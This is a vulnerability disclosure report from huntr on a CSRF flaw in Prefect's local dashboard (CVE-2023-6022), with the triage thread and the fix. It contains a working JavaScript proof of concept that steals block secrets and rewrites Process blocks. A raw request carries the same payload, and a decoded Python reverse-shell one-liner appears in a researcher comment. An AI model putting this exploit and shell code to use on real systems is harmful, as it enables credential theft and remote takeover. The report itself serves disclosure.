Can use csrf to steal/modify block content, artifact content, variables possibly leading to RCE when the dashboard is running on a developers workstation in prefecthq/prefect

Valid Reported on Sep 6th 2023

Description

If you are running the dashboard locally there is no csrf/cors/no auth and therefore you are vulnerable to cross site request forgeries. Worse yet, the service is almost certainly at 127.0.0.1:4200, reducing any need for recon or brute force. CSRF/cors/lack of auth is also likely to be a issue on self hosted instances based on the lack of documentation about how to configure auth to function similar to the cloud version.

Proof of Concept

```
<!doctype html>

<html lang="en">

<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Prefect cross site request POC</title>
    <meta name="author" content="Joshua Bonnett">
    <meta property="og:title" content="Prefect cross site request POC">
    <meta property="og:description" content="A simple poc for prefect block data ext
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.7.0/jquery.min.js"></
</head>

<body>
    <hr />
    <h1> Stolen Block content:</h1>
    <div class="block_content"> </div>
    <h1> Stolen Artifact content:</h1>
    <hr />
    <div class="artifacts"> </div>
    <hr />
    <h1> Stolen variable content:</h1>
    <hr />
    <div class="vars"> </div>
    <hr />
    <h1> Notes:</h1>
    Note that this wasn't sent anywhere, but it easily could have been sent with a s
```

choosing, and it need not be on its own page, it could be in a ad, 10 iframes de

Recommendation: actually enforce csrf header requirements, get rid of the "inclu

```
<script>

    fetch("http://127.0.0.1:4200/api/block_documents/filter", {
        "headers": {
            "accept": "application/json, text/plain, */*",
            "content-type": "application/json",
        },
        "body": "{\"include_secrets\":true}",
        "method": "POST",
        "mode": "cors",
    }).then(x => x.text()).then(y => $('div.block_content').html(y));

    fetch("http://127.0.0.1:4200/api/artifacts/latest/filter", {
        "headers": {
            "accept": "application/json, text/plain, */*",
            "content-type": "application/json",
        },
        "body": "",
        "method": "POST",
        "mode": "cors",
    }).then(x => x.text()).then(y => $('div.artifacts').html(y));
    fetch("  http://127.0.0.1:4200/api/variables/filter", {
        "headers": {
            "accept": "application/json, text/plain, */*",
            "content-type": "application/json",
        },
        "body": "",
        "method": "POST",
        "mode": "cors",
    }).then(x => x.text()).then(y => $('div.vars').html(y));

    //***** Find process blocks and change them****//
    fetch("http://127.0.0.1:4200/api/block_documents/filter", {
        "headers": {
            "accept": "application/json, text/plain, */*",
            "content-type": "application/json",
        },
        "body": "{\"include_secrets\":true}",
        "method": "POST",
        "mode": "cors",
    }).then(x => x.json()).then(function (data) {
        data.forEach(element => {
            if (element.block_type.name == "Process") {
                fetch("http://127.0.0.1:4200/api/block_documents/" + element.id,
                    "headers": {
                        "accept": "application/json, text/plain, */*",
                        "accept-language": "en-US,en;q=0.9",
                        "cache-control": "no-cache",
                        "content-type": "application/json",
                        "pragma": "no-cache",
                        "sec-ch-ua-mobile": "?0",
                        "sec-ch-ua-platform": "\"Linux\"",
                        "sec-fetch-dest": "empty",
                        "sec-fetch-mode": "cors",
```

```
                        "sec-fetch-site": "same-origin",
                        "sec-gpc": "1",
                        "x-prefect-ui": "true"
                    },
                    "referrer": "http://127.0.0.1:4200/blocks/block/e3129574-209
                    "body": "{\"data\":{\"command\":[\"python\", \"-c\", \"impor
                    "method": "PATCH"
                });
            }
        });
    });
</script>
</body>

</html>
```

Impact

Stealing or changing secrets from blocks(example: aws creds, azur cred blocks) Stealing or changing variables inputs from blocks/variables(example: remote file block,) Stealing any output data from artifacts(Example: output from ml runs)

Reverse shell is possible by changing any existing Process blocks to a reverse shell (set to localhost port 9001 in the Poc, but I could have it connect back over the internet), triggers when a flow that uses that block runs. I could add code to trigger a quick run on all flows to ensure connect back shell happens immediately but I leave that to the reader.

A very similar effect could happen within the docker container, Azure Container Instance Job, ECS Task, GCP Cloud Run Job and Kubernetes Job blocks if they are configured. I didn't include them in the poc because of the complexity of setting them up in my dev env, but adapting the poc to each of these block types would be very simple.

I would recommend moving the configuration of those block types into flow code where it isnt updateable from the web, and it can be managed like code.

We are processing your report and will contact the **prefecthq/prefect** team within 24 hours. 2 years ago

Joshua Bonnett modified the report 2 years ago

We created a **GitHub Issue** asking the maintainers to create a `SECURITY.md` 2 years ago

Joshua Bonnett commented 2 years ago — Researcher

The bug bounty linked by prefect seems to not cover the open source package. Do you want to mention that or do you want me to?

Joshua Bonnett commented 2 years ago — Researcher

Or do you want to submit to it anyway?

Joshua Bonnett commented 2 years ago — Researcher

Checking in?

Joshua Bonnett commented 2 years ago — Researcher

It seems you guys still haven't sent them the vulnerability.

Pavlos commented 2 years ago

Hey Joshua sorry for the delay. We were triaging your report internally and will pass it on to the maintainer later today :)

Let me know if we can assist you with anything else.

daryand commented 2 years ago — Admin

Hi Joshua - we apologize for the delay. Thank you for your patience! // D

Joshua Bonnett commented 2 years ago — Researcher

No problem, let me know if you have any questions.

Joshua Bonnett commented 2 years ago — Researcher

@dayand any update? Anything I can do to help?

Pavlos commented 2 years ago

Hey Joshua! I will email the maintainer to ask for an update :)

Dan McInerney commented 2 years ago — Admin

Hi Joshua,

Since this is >45 days old with no maintainer response, we're manually validating. I have validated it's CSRF-able, but the RCE in the PoC doesn't work cross-domain because it's a PATCH request rather than GET/HEAD/POST which is necessary to bypass CORS restrictions. However, it looks like you can do basically the same attack in a POST request like:

```
POST /api/block_documents/ HTTP/1.1
Host: 127.0.0.1:4200
Content-Length: 420
```

```
sec-ch-ua: "Not=A?Brand";v="99", "Chromium";v="118"
Accept: application/json, text/plain, */*
Content-Type: application/json
X-PREFECT-UI: true
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chro
sec-ch-ua-platform: "macOS"
Origin: http://localhost:4200
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:4200/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

{"name":"testproc1","block_schema_id":"9f4abb24-db77-45cd-bdc0-f91d84fba531","block_type_id":"1e5
"command":["python", "-c", "import base64,sys;exec(base64.b64decode(sys.argv[1]))", "aW1wb3J0IG9z
  }}
```

Having some trouble getting a PoC working with that request. Can you send me a PoC that works cross-domain that triggers the RCE? I'll update you if I get it working. You can test it cross-domain by right clicking a request in Burp > Engagement Tools > Generate CSRF PoC and just replacing the PoC HTML code with a fetch request and a "mode": "no-cors" in the JS then letting burp host the PoC at the http://burpsuite/ domain. If I can get a working PoC to RCE then I can manually resolve this as valid.

Thanks, Dan

Joshua Bonnett commented 2 years ago — Researcher

I am not sure how you are testing the rce step, I used both opening the html provided in the browser as a file, and using python's built in web server to serve the file. The rce step is opening a remote connect back shell using python and bash.

the base 64 is just `import os,pty,socket;s=socket.socket();s.connect(("127.0.0.1",9001));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")`

if you set up a listener on 9001 it connects back to you.

II did none of my work in burp and don't want to dig into that if I don't have to.

Joshua Bonnett commented 2 years ago — Researcher

Are you running a prefect job runner? I know its a extra step but thats what prefect is for.

Joshua Bonnett commented 2 years ago — Researcher

Sorry, i wrote this assuming the developer who would be familiar with prefect would be reviewing it rather than someone familiar with burp and hacking tools, but not prefect.

So basically blocks run inside of prefect tasks or jobs. You have to have a task runner up and running for the attack to work, because its what executes the changed blocks.

first from the directory with the html file `python3 -m http.server` then navigate to what ever domain you would like from whatever server you would like to run the example task runner on and install prefect via pip, then run

```
import httpx
from prefect.infrastructure.process import Process
from prefect.artifacts import create_table_artifact
from prefect import flow


@flow(name="test")
def get_repo_info():
    url = "https://api.github.com/repos/PrefectHQ/prefect"
    response = httpx.get(url)
    response.raise_for_status()
    repo = response.json()
    data =[
        {"Title":"PrefectHQ/prefect repository statistics :"},
        {"Stars " : f"{repo['stargazers_count']}"},
        {"Forks ": f"{repo['forks_count']}"}
    ]
    create_table_artifact(
            key="test-data",
            table=data,
            description="## Highly secret data",
        )

    process_block = Process.load("processblock")
    process_block.run()
if __name__ == "__main__":
    # create your first deployment
    get_repo_info.serve(name="my-first-deployment")
```

This is just a example pulled from the quickstart with a little update to include a block in a task.

So in this case the rce is overwriting the process block with python shell code that does a connect back. You can replace the command with any bash command provided you parse it into a array such that it will be interpreted correctly by `anyio.open_process(command, )`

I wrote the python do a connect back manually because I felt it demonstrated the vuln the best, but you could replace it with wall or something if that's simpler for you.

Joshua Bonnett commented 2 years ago — Researcher

I have verified that the cross origin patch works in chrome just fine, can you explain your concern about it?

Dan McInerney modified the Severity from Critical (9.6) to High (8.8) 2 years ago

Joshua Bonnett commented 2 years ago — Researcher

how is scope not changed with a connect back shell?

Joshua Bonnett commented 2 years ago — Researcher

"When the vulnerability of a software component governed by one authorization scope is able to affect resources governed by another authorization scope, a Scope change has occurred."

... we are changing something in the website which is allowing the full take over over a separate execution environment. Which we can do anything we want with.

Joshua Bonnett commented 2 years ago — Researcher

based on https://www.first.org/cvss/specification-document

Joshua Bonnett commented 2 years ago — Researcher

and https://www.first.org/cvss/v3.0/examples#MySQL-Stored-SQL-Injection-CVE-2013-0375

The researcher has received a minor penalty to their credibility for miscalculating the severity: -1

Dan McInerney validated this vulnerability 2 years ago

Hi Joshua,

Validated, thought CORS was blocking request but it was something else. CVSS adjusted to unchanged because the vulnerable component is the library and the impacted component is the library. The code execution is a normal feature of the application, meaning connecting a shell back is still within the normal feature purview of the library, not outside of it.

https://nvd.nist.gov/vuln/detail/CVE-2021-46398 https://nvd.nist.gov/vuln/detail/CVE-2023-4827 https://nvd.nist.gov/vuln/detail/CVE-2019-9787

Thanks, Dan McInerney Lead Threat Researcher

jbonnett has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Joshua Bonnett commented 2 years ago — Researcher

That is not correct. The vulnerable component is the web api, the impacted component is the execution environment. Also the low end of the bounty went from 30k to 750 bucks? That is absurd.

Joshua Bonnett commented 2 years ago — Researcher

And what library are you even referring to?

Joshua Bonnett commented 2 years ago — Researcher

you also changed ml severity, saying that the vuln cant modify or upload a model but clearly if i can get a remote shell where the model is running, by modifying what is being run, i can change or download the ml data.

Dan McInerney commented 2 years ago — Admin

The Prefect library is the vulnerable component. The Prefect library's security scope is already code execution by design, meaning using a CSRF to get RCE in an application that is designed to do RCE is not breaking out of the impacted component's security scope.

Dan McInerney commented 2 years ago — Admin

"you also changed ml severity, saying that the vuln cant modify or upload a model but clearly if i can get a remote shell where the model is running, by modifying what is being run, i can change or download the ml data."

I didn't actually change that, I suspect that was due to an update pushed to the ML modifiers pushed recently. I'll get that fixed Monday!

Joshua Bonnett commented 2 years ago — Researcher

Also looking at the bounty calculator, the bounty is now basically 1/10th of what it was when I submitted. It really doesn't feel fair to be paid less because huntr took a long time to respond..

Dan McInerney commented 2 years ago — Admin

Hi Joshua,

We lowered the bounty amount site-wide prior to your submission of this bounty. The increased amount shown on your report was a bug. However, we will honor the previous max potential bounty just with the updated 8.8 CVSS score and ML modifier set to Yes for model impact. Working on that now, apologies for the confusion!

Thanks, Dan McInerney Lead Threat Researcher

Dan McInerney commented 2 years ago — Admin

Fixed.

Joshua Bonnett commented 2 years ago — Researcher

It wasnt prior to my submission, it was prior to porting over from the other domain/instance of the platform, but thank you.

This vulnerability has now been published 2 years ago

Zach Angell commented 2 years ago — Maintainer

Hi! I'm one of the maintainers of the prefect package. Am I understanding correctly that the vulnerability reported here is because prefect open source does not ship with auth/cors/csrf and users could make a mistake in implementing their own logic? It doesn't seem right to publish that as a vulnerability for the package.

Zach Angell commented 2 years ago — Maintainer

Prefect also never confirmed this bug as valid.

We got an email from huntr a few weeks ago that referenced another repo, home-assistant, not ours. We never saw this report. Original email from huntr:

Hi home-assistant,

A gentle reminder that a potential security issue in home-assistant.io is awaiting your validation. It was reported 20 days ago.

View the report page via magic link (no sign-up): [REDACTED]

If you would like to stop receiving these emails, simply validate or invalidate the report, and it will be closed.

Alternatively, if you need more time to review the report, you can click the acknowledge button and it will prevent further email reminders like this in the future.

If you have any questions, my door is always open...

-- Jamie Slome from huntr.dev

Joshua Bonnett commented 2 years ago — Researcher

As to the vulnerability, Cors headers are not missing, they are configured to be wide open. If a user runs the package as provided, say, following the quickstart, they enable any website they visit to take over their machine. Even if they are only running it on the local interface, not visible to any network.

This is different from the case where a user might be rolling it out as a server on a network, where you might be able to assume they may take additional care to limit access. Even in that case without code changes to prefect, the obvious “solutions” to network authentication of http basic auth or putting prefect behind a vpn, do nothing to prevent csrf, they only prevent direct manipulation of the api.

You can configure cors headers to be more restrictive, and a browser will prevent the specific case of such a pivot, without hampering the local dev/test experience. In the first "occurrences" item, I call out exactly where you might do so.

I would encourage you to add a basic authentication system, and require an api key or csrf token cookie to interact with the api. It could be enabled fairly simply, printing out a user/password/api key to the command line when starting the local server. It is something

users of packages such as this are used to. This way it could be done without interfering with your market segmentation, as the system provides one set of user credentials only.

As to your other question, hopefully Huntr can provide more information.

Chris Pickett commented 2 years ago — Maintainer

Prefect 2.16.5 now has CSRF protection, it was released yesterday: https://github.com/PrefectHQ/prefect/blob/main/RELEASE-NOTES.md#experimental

Adam Nygate marked this as fixed in **2.16.5** with commit **227dfc** 2 years ago

$ The fix bounty has been dropped ×

Sign in to join this conversation

CVE
CVE-2023-6022
Published

Vulnerability Type
CWE-352: Cross-Site Request Forgery (CSRF)

Severity
High (8.8)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	Required
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	High

Open in visual CVSS calculator

Registry
Pypi

Affected Version
~>2.0

Visibility
Public

Status
Fixed

Disclosure Bounty
$15680

Fix Bounty
$3920

Found by

Joshua Bonnett

@jbonnett

UNPROVEN

Supported by Palo Alto Networks and Prisma AIRS, leading the way to greater AI security.